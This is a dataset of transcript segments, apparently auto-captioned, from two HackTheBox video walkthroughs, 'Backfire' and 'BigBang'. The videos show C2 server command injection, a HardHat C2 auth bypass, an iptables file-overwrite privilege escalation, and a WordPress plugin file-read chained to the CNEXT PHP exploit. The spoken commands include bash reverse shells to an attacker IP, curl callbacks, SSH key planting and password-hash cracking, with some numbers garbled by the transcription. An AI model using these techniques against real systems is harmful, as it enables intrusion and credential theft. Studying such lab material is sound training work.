text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
Try it again. So, whenever we have something invalid, we get um some type of error. I'm not going to bother trying to decode this because I don't think we have to. But this kind of validates that things are working, right? When we have the default usernames, which we coded to be valid, we don't get any errors. That jus...
1,846.72
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
user. That should be fine. and we will create the request data and write socket. So this is us standing up a listener and then the final payload is um where we do the command injection.
1,904.799
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And I don't know if I like this. Let's see. Okay, I guess this is fine.
1,928.96
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Let's see. paste. This is messy.
1,937.44
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So, injection payload set to be on one line.
1,947.84
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Okay. So injection we're just going to put we'll do args.c cmd. We'll have to create this in our parser. Where is that? Here we do dash cmd and the default will be ID.
1,961.6
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Okay, so we have the args pasting and you can see right here specifying the service name and then that.
1,996.48
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Okay, we do that and now we just need to do the request data and send it. Okay, let's see what happens. Uh, no promises. We'll do dash c. We have the default usernames in um wonder if let's just run it. I don't know if we get output back. Uh, user is not defined.
2,010
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So, we need to do args.ts user.
2,041.76
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Run this. And I think everything's working fine.
2,048.639
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
I'm going to do nclvnp 90001. And I'm going to specify the argument of curl http 10 10148 90001.
2,053.839
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And we have the team server hitting us with curl. So now let's try a shell. And I always hate putting like the um bash shell like unencoded in the command because all the escape characters. So I'm going to do a b 64 thing. So we'll do echo- n bash- i devt tcp 1010 1048 91 0 and one like that. B 64 W 0. And let's see. I...
2,067.44
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
That looks fine. So, we should be able to echo this. So, we can do echo B 64-D and then pipe it over to bash nclvnp 90001.
2,104.88
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Run this. And there we go. We have a shell as Ilia. And this shell is actually going to vanish um in a little bit. I think normally like in a minute or two. So I'm going to go and drop an SSH key and see if we can do it quickly. Uh let's do let's go up one directory. SH key gen uh-t I think. Format ED 2551.
2,121.44
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
I don't remember that. Um key shed d25519 I think. Yeah, this is it. SH-t Okay, I just didn't need the space. I'll call it IPSC catips.pub.
2,152.079
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
I just like this key because it is much shorter. Right. So now we can copy this echo into uh we'll do double so we don't erase things. Authorize keys. We can cat it to make sure it's here.
2,175.359
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Looks like it is. SH-IPS Ilia at 101011.49.
2,193.04
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And there we go. We have a shell as the Ilia user. So we can exit this. it would die probably in a couple minutes. So before we move on, let's just quickly summarize the attack chain because I thought it was pretty cool, right? It starts out with knowing the credentials to the C2 servers administration interface. Howev...
2,201.119
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
that uh port forwarding vulnerability to open a TCP socket to the administration interface and then hand jam websocket data in to authenticate to the team server then set up a listener so we can compile a implant which is a demon and during that compilation there is a command injection vulnerability. So from the beacon...
2,253.119
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And we see port 5000. This is the one that was filtered. There's also 7096.
2,304.8
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So let's just do a curl request there. So we'll do um actually we'll do netcat.
2,311.359
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So 1270 01 5,000 we get nothing. 7096 nothing. Okay, we can do a curl. Let's try https. Um 127001 5000. Uh, not found because of a typo.
2,316.48
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
It looks like that's a web service. We'll do 7096.
2,339.52
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And we get a page. So, I'm going to guess this is Herd Hhat C2. Um, we can probably just search herd. U Did I script the casing? There we go. So, this looks like it's going to be the herd hat C2 interface. We don't have any credentials. We could try replaying the credentials ourselves, but if we look at hard hat C2 vul...
2,344.64
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
This is just talking about it. U maybe oh here we go the very top result I just skipped it because I assume that was an advertisement but if we look at this Medium article uh there is a authentication bypass and that's going to be the one we use and it's just saying they use a static JWT signing key which means the key...
2,388.4
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
I think this may be it. Uh, this looks fine.
2,438.16
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And then we can do let's go get clone. Paste this.
2,443.52
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
I wonder if this is it. It was forked from Crucible.
2,449.68
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
This is two years ago. What is Crucible? Last year. Um, I'm not sure exactly what one it is, but we'll try this. Uh, maybe not. Does this have a Docker file? It doesn't. This one does. We'll go with this. Get clone. Always go with the one that has Docker when you're trying to do exploits for at least first because it's...
2,455.04
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
password. I'm going to do dash before one. And you can also get it that way. Sometimes like the hard hat server may start up first and then it won't be at the very bottom. And then if you don't see this at all because you ran this before, the password only shows the first time. So you would have to stop it then do like...
2,512.319
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Log in and then we're at the admin dashboard. We can create a user. If I look at my cookies, uh they are blank. So probably under local storage, we can see all the um cookies, right? So if I want to see what the uh values it put in was I think this is it. Maybe it's the next one. Uh, that's probably fine.
2,555.839
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
There we go. JQ. So, if we knew the static key, we could just go to like jwt.io, put the key in, and then create all these, um, keys and the values and do it that way. But since we're logged in and the cookie is already there, when we do the port forward, um, we're going to use the same port and everything and it's alr...
2,580.56
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
But now uh port 7096 is pointed to the box. So I'm going to refresh. We got a new SSL certificate, right? We're going to accept it. That's says not authorized. Let's see. Reconnects. And we're magically in settings because we never wiped our storage. So it had all our default cookies. Right. So now we just want to crea...
2,634.72
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
But there we go. We created credentials. So I'm going to log out of admin.
2,674.96
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And then we're going to log in with IPS. So IPSC password.
2,681.92
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Log in. And here we go. We're now in hard hat.
2,687.359
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And there is a way to go into the terminal. So we can just click terminal here. I think we click a plus and then we can run command. So we do ID, click send, and I think we'll eventually see the um output there, which may take a little bit. So, what I'm going to do real quick, nc lvnp 9,0001 b- c b- i dev tcp 1010 148 ...
2,693.119
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
We can probably just do the standard port forward upgrade, but we already have my public key generated. So, might as well just copy then paste this. So, let's copy this.
2,749.92
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And then we can do echo paste this in authorized keys.
2,762.56
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Then I'll do a new pane. sh- IPS. Um, I think that's it. 10 10 1149.
2,769.599
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
There we go. Now we're logged in as Sergey. If I do a pseudo-l, we can see I can run IP tables and IP tables-ave as root. And if we look at these text files, um, hard hat firewall.sh, um, it shows why, right? This is a C2 operator and he's just making sure that um the administration interfaces are disabled so you can't...
2,780.4
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
It's talking about a lot mod probe.
2,829.44
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So this looks like what we have essentially IP tables allows comments, right? So we have a comment right here and the comments allow line breaks. So right here they're doing a line break and then IP table save can save it to a file, right? So file overwrite with IP table save.
2,835.28
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
So let's see proof of concept. So they're adding a root user here. I'm not going to do that. Let's see if we can just add my SSH key because changing shadow or pass WD definitely not something I want to do. Uh this will probably require the SSH directory being created. U but most of the time that's the case, right? So ...
2,860.319
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And then what we want to do is a line break. I'll do two line breaks.
2,890.96
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
And cat ips.pub. And we will create this rule.
2,896.64
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
Paste that in. And if we do pseudo ip tables-l, we can see this is what the rule is. So we have that. We got a comment a new line. That looks good. And then let's see. Uh we could do IP table save to see what that looks like. See, we're just putting that line there. And now that I think about this, it's probably not OB...
2,907.04
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
SH-IPS to root at 1010 11149 and we get in. Sweet. So, both of those files do work as authorized keys. Um, if we remove authorized keys, too. Exit. I'm going to run it again. You can see permission denied. Save it. And there we go. And again, the reason why I always think about the opsec when you have a file overwrite ...
2,983.599
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
video. Take care and I will see you all next time.
3,051.119
0
{ "video_id": "dZjd4XTms7E", "title": "HackTheBox - Backfire", "url": "https://www.youtube.com/watch?v=dZjd4XTms7E" }
What's going on YouTube? This is IPSC and we'll be doing Big Bang from Hack the Box which has one of my favorite footholds in a while. Because before doing this box, I had no idea that file get contents in PHP could lead to remote code execution. And the foothold starts with just that. It's a file disclosure vulnerabil...
0.08
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
movement via cracking credentials and reversing a mobile application to find a vulnerability in another web app for root. So with that being said let's just jump in. As always we're going to start off with an end map. So - SC for default scripts SV enumerate versions-v for double verbose. This gives us things like the ...
44.399
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
It's running Apache and the banner tells us it's a Debian server. So we have a mismatch between OSS on HTTP and SSH.
81.28
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Additionally, if we look at the TTL, we see port 80 has a TTL of 62 and SSH 63.
90.4
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So there is one extra hop for HTTP. So most likely this is going to be a different box or Docker container or some type of virtualization. Um we also see the web page is directing us to blog.bigbang.htb. So, let's go ahead and check this out. So, I'm going to add that to my host file. So, pseudo v etsy host. And then w...
96.479
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
And looking at the links, well, this about us does not click. Nothing happens there. Uh, scrolling down, we have Stephen Hawking, which is the teacher researcher reviews. This looks very much like WordPress to me. If I press control-U to look at the source code, and we can see there is a WP-inccludes, so we know we're ...
137.599
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
100% positive. And the URL is blog.bigbang.htb cuz nothing's worse than like thinking you ran a enumeration tool and then it not actually having the um results you want just because you missed a flag because you may not think to go back and run it again. So, with that running, let's go take a look at what else we have....
196.72
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
installed plugins. But I'm just going to click on a few files. I'm going to do um first the composer.json. Right now, I'm looking for any type of version string. We don't see it there. Then next, this is going to be the license. This is just a standard license, so we can ignore this.
252.48
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
And then we have the readme and we see it is version 277 and it's tested up to WordPress version 611 and requires PHP 53. So we have the exact version of this plugin installed. If we go back to the source code, we can also find the plug-in version here. Uh we see right here it's loading the CSS for WordPress version pr...
272.16
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
There's probably additional ones. Um three if you include just running WP scan, but I'm guessing it does um something along the lines of what we did, right? So it's still brute forcing all the plugins. It is going to take a while. Uh looks like about 30 minutes because we did the aggressive mode. If we didn't have it a...
308.8
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
change something up in my Google search because there's a lot of just spoilers.
362.8
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So, I'm going to change this to um search for January 1st, 2025. I think the box release sometime in January and all the CVEes we want is from 2024. So that's why I just did this to make a Google a bit more like um when the box released. So let's see. We have this Medium article talking about des serialization and budd...
368.24
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
tool. And that will um just have the file get contents. It essentially hits the far archive. It tries to retrieve metadata. They can halt the compiler and run code essentially. I think I don't fully understand it, but that doesn't work in PHP8 because PHP8 had disabled all of uh processing the FAR metadata. At least th...
421.199
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Um we have not found that yet. But if we went to our PO post and looked at the HTTP headers. So I'm just going to run this. Let's go over into Burpuite proxy repeater. And it's sending the page. We can see we're versioning running PHP version 832. So, a way of um getting the code execution is not going to work in this,...
454
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
URL. Then the next thing is a URL. So I'm just going to do etsy pass wd here. and then id is equal to one and accepted files is equal to image gif. Okay, so if we run this, it get failed. File type is not allowed. So I'm going to put this going over to my server. So we'll do http 101048 port 8000. I'm going to download...
524.519
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
That is not a, um, great error message. You'd think it would say like cannot connect, right? So there we go. Test two status. Okay, it downloaded. Test. It did not. And if we look at test two, it gives us a URL. So, let's do a echo this jq. And this is just because I'm lazy and don't feel like escaping uh unescaping ev...
589.12
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
doesn't begin with the GIF magic bytes, right? If we look back at the source code, they have where is it? Uh file get contents right here. That's doing image data information mime. So if the file doesn't have the GIF header, then it fails. But we can use a PHP gadget chain. So I'm going to do PHP gadget chain filter. A...
675.12
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
it uses all these I converts to um make characters and maybe we'll go into that a little bit more later, but uh I don't fully understand that. I just know you do a bunch of these UTF conversions and it eventually leads you to the characters that you want. Right. So now I'm going to do etsy pass WDd and we see uh oh res...
743.44
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
wp-admin. Uh, no, it's wp-config.php. And that failed. I'm going to go up one directory and try to include it. There we go. We have it. File 68.
809.959
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So, let's go 68. And we have the PHP uh WordPress configuration. We see the database is WordPress user WP user password WP password. The host, this is a default Docker network, the 17217. And then we also have all the secret keys. So, we could potentially craft a cookie. I'm not positive about this. I think if we knew ...
824.48
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
right? And if your WordPress gets compromised, you probably should update all these variables just because the attacker has all your secrets. But let's go and go back to doing some more research. So this exploit became dead in the word waters because we're running a version of PHP that doesn't support this for serializ...
879.519
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
it is good and they go over lots of details about how they found things and such. But, um, right here they're talking about the file read primitive, the file get contents and normally you can't get like code execution, right?
935.839
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Um, now they're talking about the filters and they're talking about what you can do when a lot of times when we use these filters, we just abuse the B 64 in code. So you can leak piece of the source code on a PHP include, right? But there's so much more you can do with includes or PHP filters. Um, right here they're do...
948
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
And I think the author was making like a thing to brute force all these I converts to lead to what characters it would print because it's not really straightforward on how to do this. You're just dealing with numbers in like um decimal or octal format and then doing conversions and hoping it lands how you want. Right? ...
1,005.44
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
the address of PHP's heap and the file name of lib C. It downloads lib C gets the address of system and then performs the exploit. And this works against uh PHP 7 to837 which was 2024 and it's really reliable even though it's a binary exploit because we can leak all the memory addresses and things like that. They have ...
1,057.6
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
this. So that's what I'm just installing. And that's just a web exploitation helper thing. I don't know much about it, but this author really does like it. So let's see. We need do wrap wrap and then we can do give it the path. So let's just do etsy pass wd. The prefix we need gif 89a. The suffix we're not going to giv...
1,125
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
chain here. And the file is going to be 69. So the old file was 67. And then we have the new file at 69. And we see GIF 89A. It's not putting that junk afterwards because it did a little bit of better job handling padding and things like that. And then also if we go down we see no loggy. It's just missing the n. And ov...
1,181.24
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
And I think it's near the bottom of this that they release a tool called C next, which is more of a library. Uh let's see, GitHub. There we go. So, let's download this. And we're going to have to make some modifications to it for it to work. So let's just do cd dot uh get clone this go nc next pip 3 install-r requireme...
1,230.64
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
can see we'll just eventually call uh send. So what we need to do is have um the I'm trying to think the best way to do this. I guess on send we will send the request to make the download. So let's do data is equal to and by like what I just said was um send will be this part of the payload. So I'm going to grab this f...
1,308.72
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Then we need ID one and accepted files. And was it image/gif? Is it images or image? Image. There we go. That seems good. We can do a data here.
1,380.88
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
And nope, it needs to be data is equal to data. Okay, that looks fine. If this piece doesn't work, then we probably have to add the header. I'm not sure if request would do that automatically, but the content type header we may have to add. I don't think we do. So, let's see the path. Don't think we have to do that. So...
1,410.64
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
That should be fine, I think. So, we're making sure we get a HTTP here. And now we can do a download.
1,469.2
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So I'm going to say um data is equal to self session get the URL content and then let's do return data and we're going to chop off the last or the first six bytes because the first six bytes is going to be GIF 89A and I I think that should work for more uh the most part. So let's do Python 3 C next exploit http blog bi...
1,478.799
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
fine. Run this. Data wrapper works. PHP wrapper does not. So let's do uh wrapper does not. Is this filter?
1,571.88
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Nope. Here's this one. So what are we doing here?
1,586.2
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Putting a filter here. Check token. What is check token doing uh result safe download? I'm just going to print text.inode and we will print result. Save that. Run it. And same thing.
1,592.4
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So let's now say um if result in text.in code return true else return false. That should be fine. Save that. Run it.
1,620.08
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
invalid URL somewhere target is not reachable. So when we get to this um third one let's see did raise print. Let's do uh we'll print URL and cyst.exit run it again. I did the exit just so um we don't get that whole stack trace. So let's see after we run the filter it doesn't work. So here it's testing zib.
1,650.08
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
See, I'm just going to try commenting that out first and see if it works without any compression there. Run it. Data filter seems to be working. And we have an elf parse error. And this is probably because it's downloading lib C, but then we're missing some bytes is my guess. So if we look for the lib C download, see w...
1,727.32
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Right here. What I'm going to do is I'm just going to write some null bytes the end because we don't need the full lib Z file. So we'll do lift with open and we want to append binary instead of um read and then we're just going to do f.right and write some null bytes. So f.ight. I wonder if we can just do like that. uh...
1,767.52
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
this. And we should be seeing this go through Suite. We do.
1,879.96
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So file type is not allowed and I think it may be some of these um percents we have to URL encode this. So let's go back to our payload and what is it? Is it URL? I think it's URL. URL quote plus is that it seemp import URL lib. Oh, ural lib.parse URL lib like that.
1,886.399
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Run this again. Let's see if it says success. Triggering. There we go. So, here is the payload that did not work. There's the payload that did. Can we quickly eyeball and see what's different?
1,946.799
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Yeah, we're double URL encoding everything. So, um, this one works. This does not. Um, not exactly sure why we needed it, but we did. And now let's try putting a reverse shell. So, I'm going to do b- c- i dev tcp 1010 148 9,0001 zero and one like that.
1,973.12
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Do we have a netcat shell? We do. So, let's go ahead and run this. And I did not expect that it worked when we did ID and then we switch it over to this and it failed. Triggering Okay, seems like it worked. I don't know exactly what we have where it's not exactly 100% reliable, but uh we got a shell. That's good. So, P...
2,000.96
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
a tunnel in order to access my SQL. So, I'm going to go in dubdubdub. Do we still have that running? We don't. Uh, CP opt server. Uh, let's see what is the address of it.
2,098.64
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
1721701. So, let's do wget http 10 10 10 148 8000 chisel and then we'll make it executable. Uh, we'll do it down here, I guess. Let's see. Server allow reverse port 801.
2,125.64
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Chisel client 10148 80 8001 and we'll say reverse 3306 goes to 172 I don't know why I did a quote there I think it's R colon 3306 1721701 3306 Um let's Move chisel to vertemp. There we go. We are connected. So I should be able to do my SQLU. I think it was WP user WP password WP password. There we go. Use WordPress.
2,160.28
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Select star from WP users. It's a lot of data. Let's do describe. WP users. Select user login user pass from WP users. There we go. So, let's grab these. I'm going to go over to the Kraken, which is just a box I have hashcat installed on. So, we do vashes bigbang.wordpress. Paste this. Uh, let's replace the pipes with ...
2,213.28
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
Oh, there we go. I think I hit C instead of S when I tried to do status. That's definitely what happened and it paused my um hashcat. But we have shocking is password of quantum physics. So, let's go ahead and um try this out. So, S8 shocking at bigbang.htb put in quantum physics and we get logged in. Awesome.
2,329.44
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }
So, the first thing I always like doing is just a psef forest to see what's running on this box, right? And this really suspicious thing. This is definitely our shell. We can see we got bash, then we got chisel, but we see a few docker containers running uh my SQL. Then we also have a graphana container.
2,361.2
0
{ "video_id": "Xta6fGBhLXo", "title": "HackTheBox - BigBang", "url": "https://www.youtube.com/watch?v=Xta6fGBhLXo" }